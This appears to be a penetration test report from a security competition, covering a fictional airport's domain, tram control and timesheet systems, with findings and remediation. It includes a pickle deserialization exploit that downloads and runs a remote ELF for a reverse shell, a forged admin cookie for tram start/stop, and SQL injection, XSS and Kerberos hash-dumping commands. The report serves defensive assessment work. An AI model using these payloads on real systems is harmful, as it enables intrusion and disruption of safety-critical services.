

Robert A. Kalka Metropolitan Skyport

# SECURITY ASSESSMENT

1/13/24

Performed by: Finals-XX



## DISCLOSURE

This report contains confidential and sensitive information. It is intended solely for the information and use of Robert A. Kalka Metropolitan Skyport and its authorized personnel.

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
## EXECUTIVE SUMMARY

RAKMS requested a comprehensive retest against the guest, user, corp, and train networks. This assessment was executed in two stages: the pre-engagement phase, consisting of open-source intelligence gathering and the assessment phase, consisting of active reconnaissance and leveraging exploits to prove the existence of system vulnerabilities. The following report outlines the findings from these engagement phases and mitigations for pressing issues.

Overall, Finals-XX found 34 vulnerabilities, 9 of which were critical or high. Some reoccurring finds were weak passwords and known-vulnerable software still in use. The RAKMS security team remediated many previously seen vulnerabilities. However, there was a theme of partial/incomplete patches. Multiple applications were patched in ways that introduced new vulnerabilities or patched in ways where the vulnerability could still be exploited.

Testing also revealed the storage of customer data was greatly improved. However serious vulnerabilities with the people movers still exist. These vulnerabilities could possibly result in bodily harm or other serious accidents and need to be handled as soon as possible.





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## KEY FINDINGS AND REMEDIATION

Finals-XX observed multiple overarching issues with RAKMS network security. These are namely weak password policies, lack of a patch management program, and insecure coding practices. These security practices are what lead to most vulnerabilities within the RAKMS network. Although these have been greatly improved upon by the RAKMS security team since the previous test, many symptoms of these underlying issues still plague the network.

Weak passwords were observed across the RAKMS network during the previous assessment and this assessment. Many critical accounts including domain administrators, database administrators, and service accounts were observed to be using weak and easily guessable passwords. Although a password policy was enabled, multiple accounts were observed using passwords that do not comply with this policy. Implementing a stronger password policy and ensuring its enforcement will remediate this issue across the network.

The lack of a patch or a patch management policy was felt throughout the RAKMS network. [REDACTED] observed multiple outdated, unsupported, and vulnerable versions of software being used on critical servers. It should also be noted that updates and patches were applied inconsistently across the network. Since the previous test, some systems and software were completely patched while more critical servers and software were left un-updated. Implementing a patch management program will ensure systems are consistently kept up to date across the network.

Insecure coding practices were observed in multiple places across the RAKMS network. Many of the previous vulnerabilities stemming from insecure coding practices were patched. However, it was observed

that many of these patches either did not fix the vulnerability or introduced new vulnerabilities. Educating RAKMS developers on secure coding practices and proper handling of sensitive information will ensure patches are properly implemented and these same vulnerabilities will not be introduced again.

## COMPLIANCE

Considering the TSA's continuous commitment to cybersecurity, ensuring compliance is a key priority for airport management. One major idea is to separate the ICS network from the rest of the networks. For the most part, RAKMS does this very well by having a separate train network. Additionally, network ACLs were observed during the assessment, initially limiting Finals-XX's access to these networks. However, during the assessment, these ACLs were seemingly non-functional.

While there has been progress in password compliance through the adoption of password policies, various hosts and web applications continue to breach TSA and FAA password regulations.

During their prior review, Finals-XX identified a major violation of PCI DSS. It appears Finals-XX's urgent recommendation to address this issue was taken seriously, as no further breaches, leaks, or plaintext occurrences of PCI DSS data were observed by Finals-XX in the current assessment.

## ASSESSMENT SUMMARY

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### SCOPE

Finals-XX was authorized to perform a network penetration test by Robert A. Kalka Metropolitan Skyport. Testing was conducted from the perspective of an attacker with a local connection to the guest network of Robert A. Kalka Metropolitan Skyport.

The following scope was given by the client to test on:

- User Network - 10.0.1.0/24
- Domain Network - 10.0.0.0/24
- Train Network - 10.0.20.0/24
- Guest Network - 10.0.200.0/24

The following hosts were explicitly out of scope

- VDI Network - 10.0.254.0/24
- VPN Network - 10.0.255.0/24

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## ASSESSMENT NARRATIVE

### Reconnaissance:

In the initial phase of the assessment, meticulous reconnaissance was conducted as open-source intelligence (OSINT) to gather valuable information for later testing and the phishing exercises. This involved identifying company size, employee names, and uncovering any underlying technologies through means such as job postings, including the presence of AWS servers.

### Active Reconnaissance:

With an entry point secured on the guest network in the form of provided virtual desktop infrastructure (VDI), Finals-XX delved into active reconnaissance. The team systematically enumerated all active hosts within the guest network and quickly tested the ability to reach the other networks within the scope. From the guest network, Finals-XX scanned the entire Corporate and Train networks. However, the devices on the User network were unresponsive aside from replying to pings.

### Initial Access:

Having identified active machines in the previous step, Finals-XX targeted outdated software with known vulnerabilities. This strategic approach resulted in initial access to the Windows domain controller by allowing Finals-XX to extract all hashed passwords. While enumerating the authentication mechanisms on the Train subnet, Finals-XX determined the trains were using an improper session handling. The sessions were saved via serialized data in cookies; however, the application was not signing the cookies. This allows the end user to modify their current user. The trains were also relying on an insecure

serialization module called "Pickle." This module allows for arbitrary code execution while deserializing the data. With this, Finals-XX was able to establish a connection to the trains as root.

**Privilege Escalation:**

Finals-XX circumvented the need for further privilege escalation on this described hosts as the vulnerabilities allowed for root/administrator access. Efforts to discover other privilege escalation vectors were still being made; this involved running enumeration tools to discover any access control misconfigurations, accessible passwords, internal services, and many other techniques. Finals-XX identified only one privilege escalation technique noted in the findings section.

**Internal Reconnaissance and Pivot:**

Returning to internal reconnaissance, Finals-XX continued the exploration of network hosts. Leveraging domain accounts, the team pivoted to other domain-connected Windows machines, notably the mail server. This server became a pivotal point for executing the phishing portion of the test. However, when trying to send the phishing email, Exchange was unresponsive and after support rebooted the system the email failed to send.

**Data Enumeration and Vulnerability Assessment:**

In the final phase, Finals-XX systematically enumerated all accessible machines. The focus shifted to identifying personally identifiable information (PII) and uncovering any vulnerabilities overlooked earlier in the assessment. The team was unable to locate any PII, but several additional vulnerabilities were discovered and can be found in the findings section of the report.

## FINDINGS SUMMARY

The following vulnerabilities were found.

Vulnerability	Risk
Zerologon	Critical - 9.8
Python Pickle Deserialization	High - 8.8
Tram Insecure Authentication	High - 8.6
All Domain Users Have Local Admin Permissions	High - 8.0
PetitPotam	High - 7.5
Insecure Sudo Configuration	High - 7.3
Weak Password Policy	High - 7.3
SQL Injection in Timesheet Site	High - 7.1
Service Account SPN Usage	High - 7.1
AWS Root User Missing MFA	Medium - 6.6
Stored XSS in Timesheets Site	Medium - 6.3
Unauthenticated API Permits Addition of Trams	Medium - 5.4
Insecure Kerberos Attribute	Medium - 5.4
Real Time Protection Disabled	Medium - 5.3
IDOR on Barcode System	Medium - 5.3
SMB Null Session	Medium - 4.3
PHP Info Exposed	Medium - 4.3
Hardcoded Auth Token	Medium - 4.3
Sensitive Information in S3 Bucket dev-s3-role	Medium - 4.3
Sensitive Information in S3 Bucket dev-barcode-role	Medium - 4.3

Insecure Bag Check-In	Medium - 4.2
AWS Assume Role Privilege Escalation	Medium - 4.1
Improper Input Validation	Low - 3.5
AWS Secrets Found	Low - 3.5
Directory Listing Enabled	Informational
EOL Nginx Version	Informational
SSH PermitRootLogin	Informational
Publicly Accessible S3 Bucket	Informational
Unencrypted EBS Volumes in AWS	Informational
Upcoming ACM Certificate Expiration	Informational
Dev Variable Allows Unlimited Session Limit	Informational
EOL Ruby Version	Informational
Unusual Discoveries on AWS Environment	Informational

## TECHNICAL FINDINGS

### ZEROLOGON

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	9.8

### AFFECTED SYSTEMS

SKYCONTROL01.CORP.KKMS.LOCAL - 10.0.0.5

### DESCRIPTION

Zerologon allows an attacker full domain access by overwriting the domain controller's machine account hash.

### BUSINESS IMPACT

Any attacker could take complete control over KKMS's domain leading to complete loss of airport functionality.

### OBSERVATION

During testing Finals-XX identified the SKYCONTROL01 domain controller was vulnerable to Zerologon using the Zerologon module from CrackMapExec.

```
(root@CPTCS: ~]# crackmapexec smb 10.0.0.5 -M zerologon
SMB      10.0.0.5      445      SKYCONTROL01      [*] Windows 10.0 Build 14393 x64 (name:SKYCONTROL01) (d
ZEROLOGO... 10.0.0.5      445      SKYCONTROL01      VULNERABLE
ZEROLOGO... 10.0.0.5      445      SKYCONTROL01      Next step: https://github.com/dirkjam/CVE-2020-1472
```

Zerologon validation via CrackMapExec

### STEPS TO REPRODUCE

1. Execute "crackmapexec smb 10.0.0.5 -M zerologon"

### REMEDIATION

To mitigate these critical vulnerabilities and enhance the security of the domain controller and the entire network, Finals-XX recommends the following actions:

- **Patch and Update:** Immediately apply security patches and updates provided by Microsoft to address the vulnerabilities.

- **Segment the Network:** Isolate the domain controller from the rest of the network by implementing proper network segmentation and firewall rules to minimize lateral movement.
- **Monitor and Audit:** Continuously monitor and audit the network for suspicious activities and implement robust logging mechanisms to detect potential security breaches.

## REFERENCES

<https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/>

## PYTHON PICKLE DESERIALIZATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	8.8

### AFFECTED SYSTEMS

TRAM1.TRAIN.KKMS.LOCAL - 10.0.20.101

TRAM2.TRAIN.KKMS.LOCAL - 10.0.20.102

TRAM3.TRAIN.KKMS.LOCAL - 10.0.20.103

### DESCRIPTION

When serialized objects accept user input, it can lead to deserialization attacks and RCE.

### BUSINESS IMPACT

An unauthenticated attacker can send a pickle payload in the cookie and receive a shell or other command execution. This could result in an attacker removing functionality to stop and start trams which could have profound consequences.

### OBSERVATION

Finals-XX used python to create a python program that would download an executable that gave remote shell access to the system.

```

Guru nano 7.2
import pickle
import base64
import sys

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

command = 'wget http://10.0.254.200/team5.elf -O /dev/shm/team5.elf; chmod +x /dev/shm/team5.elf; ./dev/shm/team5.elf &'

payload = base64.b64encode(pickle.dumps(PickleRCE())) # Creating Payload
print(payload)

```

Pickle Code

And the reverse shell was successful.

```

root@tram1:/tmp# ip a 88 whoami
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9942 qdisc pfifo_fast state UP group default qlen 1000
    link/ether fa:16:3e:2a:69:ee brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.20.101/24 metric 100 brd 10.0.20.255 scope global dynamic ens3
        valid_lft 41299sec preferred_lft 41299sec
    inet6 fe80::fa16:3eff:fe2a:69ee/64 scope link
        valid_lft forever preferred_lft forever
root:

```

Reverse Shell;

## STEPS TO REPRODUCE

1. Use a pickle payload that is serialized
2. Put it in the x-auth cookie to be handled by the application
3. Verify the command was run locally

## REMEDIATION

- Do not use serialized objects where the user can edit them
- Use a different authentication token that is cryptographically secure

## REFERENCES

[https://owasp.org/www-community/vulnerabilities/Deserialization\\_of\\_untrusted\\_data](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)

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## TRAM INSECURE AUTHENTICATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H	8.6

### AFFECTED SYSTEMS

TRAM1.TRAIN.KKMS.LOCAL - 10.0.20.101

TRAM2.TRAIN.KKMS.LOCAL - 10.0.20.102

TRAM3.TRAIN.KKMS.LOCAL - 10.0.20.103

### DESCRIPTION

An unauthenticated attacker on the guest network can gain access to the Tram Location web application, enabling them to start and stop the airport's trams.

### BUSINESS IMPACT

If an attacker gains access to the Tram Admin Interface, they can stop the airport's trams on the tracks, causing service disruptions, possible crashes, and potential loss of life.

### OBSERVATION

Finals-XX discovered one of the web applications has a vulnerable authorization cookie which is a serialized pickle object. The object contains the text for the user role which is 'guest' by default.

```
[root@ CPTC
└─# echo "gASVewAAAAAAAAB91IwEc9sZZSMBWFkbWlulHMu" | base64 -d
[...])@role@admins.
```

decoded cookie

An attacker can rewrite this to 'admin' which allows any unauthenticated user to gain administrative access.

**Request**

Pretty Raw Hex

```
1 GET /admin HTTP/1.1
2 Host: 10.0.20.103
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/120.0.6099.199 Safari/537.36
4 Accept: /*
5 Origin: http://10.0.20.103
6 Cookie: x-auth=gASVEwAAAAAAAAB91IwEcm9sZZSMHWFkbWluIHMu;
7 Referer: http://10.0.20.103/
8 Accept-Encoding: gzip, deflate, br
9 Accept-Language: en-US,en;q=0.9
10 Connection: close
11
12
```

*Request with the new cookie*

This function displays the start and stop buttons if the cookie is used.

**Response**

Pretty Raw Hex Render

**Tram Admin**

**Start Tram**

**Stop Tram**

*The tram Start & Stop buttons were revealed on the screen.*

## STEPS TO REPRODUCE

1. Create a new pickle object with the attributes "role:admin"
2. Pass the base64 object in the *x-auth* cookie
3. Verify the browser now shows admin functionality

## REMEDIATION

Finals-XX recommends adding these hosts to the train subnet instead of the guest network. This keeps the separation of ICSs from the rest of the infrastructure. Additionally, Finals-XX recommends implementing a cryptographically secure authentication system with a username or password and/or only allowing whitelisted IP addresses.

## REFERENCES

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

**ALL DOMAIN USERS HAVE LOCAL ADMIN PERMISSIONS**

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	8.0

**AFFECTED SYSTEMS**

SKYDESKTOP01.CORP.KKMS.LOCAL 10.0.0.201

SKYDESKTOP02.CORP.KKMS.LOCAL 10.0.0.202

SKYDESKTOP03.CORP.KKMS.LOCAL 10.0.0.203

**DESCRIPTION**


Any domain user can remotely control the affected servers with Administrator/SYSTEM level access.

**BUSINESS IMPACT**

Any domain user can be granted administrative privileges which could disrupt all employees' computers leading to downtime for RAKMS employees.

**OBSERVATION**

XXXX discovered this vulnerability while performing enumeration of the CORP.KKMS.LOCAL domain with Bloodhound.



Bloodhound Output

**STEPS TO REPRODUCE**

1. Log on to the affected machine with any user

2. View Users and which group they are part of
3. Notice that all users are part of the 'Administrator' group

## **REMEDIATION**

Remove the Everyone group from the Administrators group on the domain machines. Only add accounts/groups to remote access groups when strictly necessary for a business function.

## **REFERENCES**

<https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts>

## PETITPOTAM

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H	7.5

## AFFECTED SYSTEMS

SKYCONTROL01.CORP.KKMS.LOCAL - 10.0.0.5

## DESCRIPTION

PetitPotam allows an attacker to force an authentication and intercepts the resulting certificate to achieve high-level access in the domain without the need of credentials.

## BUSINESS IMPACT

Any attacker could take complete control over KKMS's domain leading to complete loss of airport functionality.

## OBSERVATION

During testing, Finals-XX identified the SKYCONTROL01 domain controller was vulnerable to PetitPotam using the PetitPotam module from CrackMapExec.

```
└─# crackmapexec smb 10.0.0.5 -m petitpotam
SMB      10.0.0.5      445      SKYCONTROL01      [*] Windows 10.0 Build 14393 x64 (name:SKYCONTROL01) (
PETITPOT... 10.0.0.5      445      SKYCONTROL01      VULNERABLE
PETITPOT... 10.0.0.5      445      SKYCONTROL01      Next step: https://github.com/topotam/PetitPotam
```

PetitPotam validation via CrackMapExec

## STEPS TO REPRODUCE

Execute "crackmapexec smb 10.0.0.5 -m petitpotam"

## REMEDIATION

To mitigate these critical vulnerabilities and enhance the security of the domain controller and the entire network, Finals-XX recommends the following actions:

- Patch and Update:** Immediately apply security patches and updates provided by Microsoft to address the vulnerabilities.
- Segment the Network:** Isolate the domain controller from the rest of the network by implementing proper network segmentation and firewall rules to minimize lateral movement.
- Monitor and Audit:** Continuously monitor and audit the network for suspicious activities and implement robust logging mechanisms to detect potential security breaches.

## REFERENCES

<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>

## INSECURE SUDO CONFIGURATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	7.3

### AFFECTED SYSTEMS

TRAM1.TRAIN.KKMS.LOCAL - 10.0.20.101

TRAM2.TRAIN.KKMS.LOCAL - 10.0.20.102

TRAM3.TRAIN.KKMS.LOCAL - 10.0.20.103

### DESCRIPTION

Sudo access without a password has been granted to the *ubuntu* user which allows it to run commands as root.

### BUSINESS IMPACT

The Ubuntu user can fully remove functionality from the TRAM machines, which can result in disruptions to the tram service.

### OBSERVATION

Finals-XX identified the following line from the /etc/sudoers file for the *ubuntu* user on the machine.

```
root@tram1:~# cat /etc/sudoers.d/90-cloud-init-users
# Created by cloud-init v. 22.1-14-g2e17a0d6-0ubuntu1~22.04.5 on Tue, 09 Jan 2024 10:33:43 +0000

# User rules for ubuntu
ubuntu ALL=(ALL) NOPASSWD:ALL
```

*Sudo File*

This means that the user can run any command as root, which allows for escalation of privileges in a variety of ways (e.g., run *sudo /bin/bash*). This allows an attacker to maintain elevated privileges.

### STEPS TO REPRODUCE

1. Log onto one of the affected machines with the *ubuntu* user.
2. View the /etc/sudoers file.
3. Notice that the 'Ubuntu' user can run all commands as root

### REMEDIATION

To mitigate this vulnerability, Finals-XX recommends the following actions:

1. **Limit sudo permissions:** Limit sudo permissions exclusively to users whose job functions strictly require them.
2. **Implement least privilege:** Adhering to the principle of least privilege will reduce the likelihood of similar scenarios.

## REFERENCES

<https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf>  
<https://github.com/carlospolop/PEASS-ng>

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## WEAK PASSWORD POLICY

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L	7.3

### AFFECTED SYSTEMS

10.0.0.5 - SKYCONTROL01.CORP.KKMS.LOCAL - svc\_atc  
10.0.0.5 - SKYCONTROL01.CORP.KKMS.LOCAL - edr\_test  
10.0.0.33 - BAGGAGECHECKIN.CORP.KKMS.LOCAL - admin  
10.0.0.43 - EmployeeTimeDB.CORP.KKMS.LOCAL - admin  
10.0.0.100 - AFWS.CORP.KKMS.LOCAL - Plaintext API Key  
10.0.20.101 - Tram1.train.kkms.local - admin  
10.0.20.102 - Tram2.train.kkms.local - admin  
10.0.20.103 - Tram3.train.kkms.local - admin

### DESCRIPTION

Weak password policies allow attackers to gain access to systems through brute-force attacks and can increase the attack surface when password hashes are cracked.

### BUSINESS IMPACT

Weak passwords in a corporation lead to unauthorized access to machines on the network. This allows for data breaches and jeopardizes sensitive information.

### OBSERVATION

Finals-XX found weak passwords used across the network. This includes domain credentials, web application passwords, and Linux passwords. Default Credentials were also found in the environment which violates PCI 3.2.1 regulations.

A full list of hosts cannot be verified with the time constraints of testing, but those confirmed to be vulnerable are listed as so.

### STEPS TO REPRODUCE

Go through a list of user hashes and identify any domain users in common attacker databases. These are extremely weak and can be reversed quickly.

## REMEDIATION

- Implement a strong, company-wide password policy that mandates higher-complexity passwords (i.e., include special characters, numbers, uppercase, and lowercase characters).
- Routinely check these password hashes to verify they cannot be cracked.
- Continue to provide training to individuals on why password strength is important.

## REFERENCES

<https://github.com/carlospolop/PEASS-ng>

[https://listings.pcisecuritystandards.org/documents/PCI\\_DSS-QRG-v3\\_2\\_1.pdf](https://listings.pcisecuritystandards.org/documents/PCI_DSS-QRG-v3_2_1.pdf)

## SQL INJECTION IN TIMESHEET SITE

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N	7.1

### AFFECTED SYSTEMS

EmployeeTimeDB.corp.kkms.local - 10.0.0.43

### DESCRIPTION

SQL Injection allows an attacker full access to databases. This also allows access to restricted file read and write on the host system.

### BUSINESS IMPACT

An unauthenticated attacker can read and write to the SQL database, meaning all timesheets can be viewed or edited. This would affect how wages are paid. Confidential information, such as source code and passwords, could also be read.

### OBSERVATION

Finals-XX discovered that the timesheet web application was vulnerable to a full SQL injection database leak. This was discovered with the tool sqlmap.

```
[10:26:21] {INFO} testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...
Parameter: employee (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: employee=admin' AND (SELECT 2444 FROM (SELECT(SLEEP(5)))ypCd) AND 'fRgH'='fRgH&page=admin
...
```

*The SQL statement that sqlmap found*

This injection allowed Finals-XX access to all databases. In this case, it was observed that this injection also leads to restricted file read and write.

```
available databases [4]:
(*) employeedb
(*) information_schema
(*) mysql
(*) performance_schema
```

*The Databases Found*

## STEPS TO REPRODUCE

1. Log in at 10.0.0.43
2. Replace the 'employee' field in the URL with the SQL statement found with sqlmap or SQL characters like an apostrophe to generate output
3. Verify that the variable is handled as SQL

## REMEDIATION

Wherever SQL queries are used, prepared statements should be in place to separate user input from the query itself.

Implement input sanitization on both the server and client side. For the most part, usernames do not need to include special characters, such as apostrophes, dashes, and quotes.

## REFERENCES

[https://owasp.org/www-community/attacks/SQL\\_Injection](https://owasp.org/www-community/attacks/SQL_Injection)

## SERVICE ACCOUNT SPN USAGE

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L	7.1

## AFFECTED SYSTEMS

SKYCONTROL01.CORP.KKMS.LOCAL - 10.0.0.5

## DESCRIPTION

A service account given a Service Principal Name (SPN) is vulnerable to its hash being extracted by an authenticated domain user.

## BUSINESS IMPACT

Any attacker could take complete control over the svc\_ATC account, leading to complete loss of airport functionality.

## OBSERVATION

When looking for service accounts that are vulnerable to this attack, Finals-XX found the svc\_ATC account had an SPN assigned which provided a hash.

```
---(root@ CPTC
--# hashcat -m 13100 svc_ATC.krb5tgs --show
krb5tgs$23$*svc_ATC$CORP.KKMS.LOCAL$corp.kkms.local$svc_ATC*$5409214623a38
```

Dumped hash

## STEPS TO REPRODUCE

1. Request TGS for svc\_ATC using any valid pair of domain credentials

## REMEDIATION

- Do not grant SPNs to service accounts if they are not strictly needed.
- If SPNs are needed, give the account a strong enough password so the hash cannot be cracked

## REFERENCES

[https://owasp.org/www-pdf-archive/OWASP\\_Frankfurt\\_-44\\_Kerberoasting.pdf](https://owasp.org/www-pdf-archive/OWASP_Frankfurt_-44_Kerberoasting.pdf)  
<https://attack.mitre.org/techniques/T1558/003/>

## AWS ROOT USER MISSING MFA

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H	6.6

### AFFECTED SYSTEMS

RAKMS AWS Environment

### DESCRIPTION

Multi-Factor Authentication is not enforced on the root AWS account.

### BUSINESS IMPACT

If the password is somehow compromised, an attacker could log in without verifying their identity and make any changes they see fit, including removing any functionality as the root user.

### OBSERVATION

An authenticated prowler scan by user *ctf-starting-user-27* found that the root AWS account does not enforce MFA. This is a large risk within the RAKMS infrastructure. MFA greatly reduces the risk of breaches and notifies the company when a log-in attempt has succeeded.

### STEPS TO REPRODUCE

1. The root user, sign into the management console
2. Go to the Security Credentials section
3. Notice that MFA is not set up

### REMEDIATION

Ensure all accounts are secured by implementing Multi-Factor Authentication in line with Amazon's best practices and the specific needs of the business.

### REFERENCES

<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf>

[https://docs.aws.amazon.com/wellarchitected/latest/securitypillar/sec\\_identities\\_enforce\\_mechanisms.html](https://docs.aws.amazon.com/wellarchitected/latest/securitypillar/sec_identities_enforce_mechanisms.html)

## STORED XSS IN TIMESHEETS SITE

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L	6.3

### AFFECTED SYSTEMS

EMPLOYEE TIME-DB.CORP.KKMS.LOCAL - 10.0.0.43

### DESCRIPTION

Improper sanitization in the username variable allows an attacker to store potentially malicious JavaScript elements that run when a user accesses a page

### BUSINESS IMPACT

This vulnerability could be leveraged in multiple ways including defacing the timesheets site or stealing personal browser data resulting in loss of data confidentiality.

### OBSERVATION

When adding a new user in the timesheets site, an XSS payload was used in the username variable and sent to the server.


```

Request
Pretty Raw Hex
1 POST /index.php?employee=admin&page=admin HTTP/1.1
2 Host: 10.0.0.43
3 Cookie: PHPSESSID=4im0spg2imkivfgcbg2na001be
4 Content-Length: 65
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not_A_Brand";v="0", "Chromium";v="120"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://10.0.0.43
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/120.0.6099.199 Safari/537.36
13 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
    application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://10.0.0.43/index.php?employee=admin&page=admin
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9
21 Priority: u=0,i
22 Connection: close
23
24 username<script>alert(1);</script>&password=password&id=1&action=createEmployee

```

Request with XSS payload

When accessing the site again, the payload ran.



*Successful Exploitation*

## STEPS TO REPRODUCE

1. Send a post request to 10.0.0.43/index.php
2. Include "<script>alert(1);</script>" in the POST data being sent with the username variable
3. Go to 10.0.0.43/index.php to verify the payload worked

## REMEDIATION

To mitigate this vulnerability, and preserve the integrity of the Timesheets Dashboard, Finals-XX recommends the following action:

1. **Input Sanitization:** Implement client-side and server-side sanitization on inputs provided by users for all inputs

## REFERENCES

<https://owasp.org/www-community/attacks/xss/>

---

## UNAUTHENTICATED API PERMITS ADDITION OF TRAMS

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L	5.4

### AFFECTED SYSTEMS

TRAM-OPS.TRAIN.KKMS.LOCAL - 10.0.20.100

### DESCRIPTION

An unauthenticated API on the tram API allows an attacker to add trams.

### BUSINESS IMPACT

Attackers can deface the website and stop valid employees from viewing the correct tram locations.

### OBSERVATION

Finals-XX created a web request to the register endpoint, allowing a new tram to be registered by an unauthenticated attacker.

10.0.20.100:3000/register

**POST** 10.0.20.100:3000/register

Params Authorization Headers (8) **Body** Pre-request Script Tests Settings

none  form-data  x-www-form-urlencoded  raw  binary

Key	Value
region	localhost
line	main
ip	10.0.254.202
hostname	main
Key	Value

Body Cookies Headers (12) Test Results

Pretty Raw Preview Visualize JSON ↻

```

1
2   "status": "success"
3

```

*Initial Request*

Finals-XX was able to add a malicious iframe.



## STEPS TO REPRODUCE

1. Create a POST request to the *register* endpoint with any region, line, IP, and hostname value
2. Verify the request was successful on the *home* page

## REMEDIATION

Implement authentication on the *register* endpoint to only allow authorized administrators.

## REFERENCES

[https://owasp.org/www-community/Broken\\_Access\\_Control](https://owasp.org/www-community/Broken_Access_Control)

## INSECURE KERBEROS ATTRIBUTE

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N	5.4

### AFFECTED SYSTEMS

CORP.KKMS.LOCAL

### DESCRIPTION

Accounts without Kerberos pre-authentication required attribute (DONT\_REQ\_PREAUTH) can have their hashes leaked by an unauthenticated user.

### BUSINESS IMPACT

An unauthenticated hacker can retrieve an account hash to crack or pass to gain access to the domain as a relatively privileged user. This could result in long downtime for RAKMS.

### OBSERVATION

When looking for service accounts that are vulnerable to this attack, Finals-XX found the *EDR\_TEST* account was vulnerable

```
(root@ CPTC: ~) [root@ CPTC: ~]# hashcat -m 18200 EDR_TEST.krb5asrep --show
$krb5asrep$23$EDR_TEST@CORP.KKMS.LOCAL:9c4f65e86cb07e0404
```

Dumped Hash

### STEPS TO REPRODUCE

1. View accounts that have the Kerberos attribute DONT\_REQ\_PREAUTH
2. Verify the affected account has the listed attribute

### REMEDIATION

Do not grant the DONT\_REQ\_PREAUTH if it is not strictly needed.

## REFERENCES

<https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-unconstrained-kerberos>

**REAL TIME PROTECTION DISABLED**

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L	5.3

**AFFECTED SYSTEMS**

CORP.KKMS.LOCAL

**DESCRIPTION**


Antivirus (AV) is important for making sure any malicious files downloaded or brought onto a machine through other means do not execute. Not using AV brings unwanted risk onto an organization.

**BUSINESS IMPACT**

Attackers can execute malicious code without needing to bypass any AV which greatly increases the likelihood of exploitation.

**OBSERVATION**

Finals-XX verified that Defender was inactive on the domain.



Defender Disabled

**STEPS TO REPRODUCE**

1. Log into any domain joined machine
2. Open Windows Defender from the Windows search bar

## **REMEDIATION**

Enable Windows Defender Real Time Protection by clicking the red "turn on" button.

## **REFERENCES**

<https://learn.microsoft.com/en-us/mem/intune/user-help/turn-on-defender-windows>

## IDOR ON BARCODE SYSTEM

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3

### AFFECTED SYSTEMS

<http://rakmsbarcode2024011034800721800000004.s3-website-us-east-1.amazonaws.com/>  
<https://v6yqfrnhvs4dilwcdw2jaqsevi0vghev.lambda-url.us-east-1.on.aws/>

### DESCRIPTION


Any user can access barcodes from flight passes using IDOR.

### BUSINESS IMPACT


- Reputational Damage:** An IDOR vulnerability breach can severely damage a company's reputation, leading to lost customer trust and diminished brand value.
- Financial Losses:** Such a security breach can potentially result in substantial financial losses due to regulatory fines, costs of incident management, and compensatory measures for affected customers.

### OBSERVATION


During the assessment, Finals-XX discovered that anyone may access the barcodes of flight passes.



Creating a boarding pass via a lambda function URL



*Accessing the .SVG barcode object*





*Downloading, and viewing retrieved barcode*

## STEPS TO REPRODUCE

